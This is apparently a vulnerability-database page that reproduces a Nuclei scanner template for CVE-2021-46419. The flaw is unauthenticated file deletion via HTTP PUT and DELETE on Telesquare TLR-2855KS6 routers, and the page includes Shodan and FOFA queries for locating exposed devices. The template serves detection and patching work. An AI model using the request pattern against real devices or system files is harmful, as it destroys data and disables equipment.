CVE-2021-46419: Telesquare TLR-2855KS6 - Arbitrary File Deletion

2025-08-01 Telesquare TLR 2855KS6 PoC Public

Description

An unauthorized file deletion vulnerability in Telesquare TLR-2855KS6 via DELETE method can allow deletion of system files and scripts.

PoC

id: CVE-2021-46419

info:
  name: Telesquare TLR-2855KS6 - Arbitrary File Deletion
  author: DhiyaneshDK
  severity: critical
  description: |
    An unauthorized file deletion vulnerability in Telesquare TLR-2855KS6 via DELETE method can allow deletion of system files and scripts.
  impact: |
    Unauthenticated attackers can delete arbitrary files from the Telesquare TLR-2855KS6 device using HTTP DELETE requests, potentially destroying system files and rendering the device inoperable.
  remediation: |
    Apply firmware updates provided by Telesquare or restrict HTTP DELETE access to the device.
  reference:
    - https://nvd.nist.gov/vuln/detail/cve-2021-46419
    - http://packetstormsecurity.com/files/166675/Telesquare-TLR-2855KS6-Arbitrary-File-Deletion.html
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
    cvss-score: 9.1
    cve-id: CVE-2021-46419
    epss-score: 0.71384
    epss-percentile: 0.99382
    cpe: cpe:2.3:o:telesquare:tlr-2855ks6_firmware:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: telesquare
    product: "tlr-2855ks6_firmware"
    shodan-query:
      - "title:\"Login to TLR-2855KS6\""
      - http.title:"login to tlr-2855ks6"
    fofa-query:
      - "product==\"TELESQUARE-TLR-2855KS6\""
      - title="login to tlr-2855ks6"
      - product=="telesquare-tlr-2855ks6"
    google-query: "intitle:\"login to tlr-2855ks6\""
  tags: packetstorm,cve,cve2021,telesquare,intrusive,vuln
variables:
  filename: "{{rand_base(6)}}"

http:
  - raw:
      - |
        PUT /cgi-bin/{{filename}}.txt HTTP/1.1
        Host: {{Hostname}}
        DNT: 1

        {{randstr}}
      - |
        DELETE /cgi-bin/{{filename}}.txt HTTP/1.1
        Host: {{Hostname}}
        DNT: 1

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 201 && status_code_2 == 204'
          - 'contains(server_1, "lighttpd")'
        condition: and
# digest: 4a0a004730450221009558e5d3e804560934d80ed279fcfb4626fbdc54d93aa46052e546604cff956302202b618b6533db8fded6edb9cac9d16d0625493e7ed1dbb1b02d1c61ce7d8c6823:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities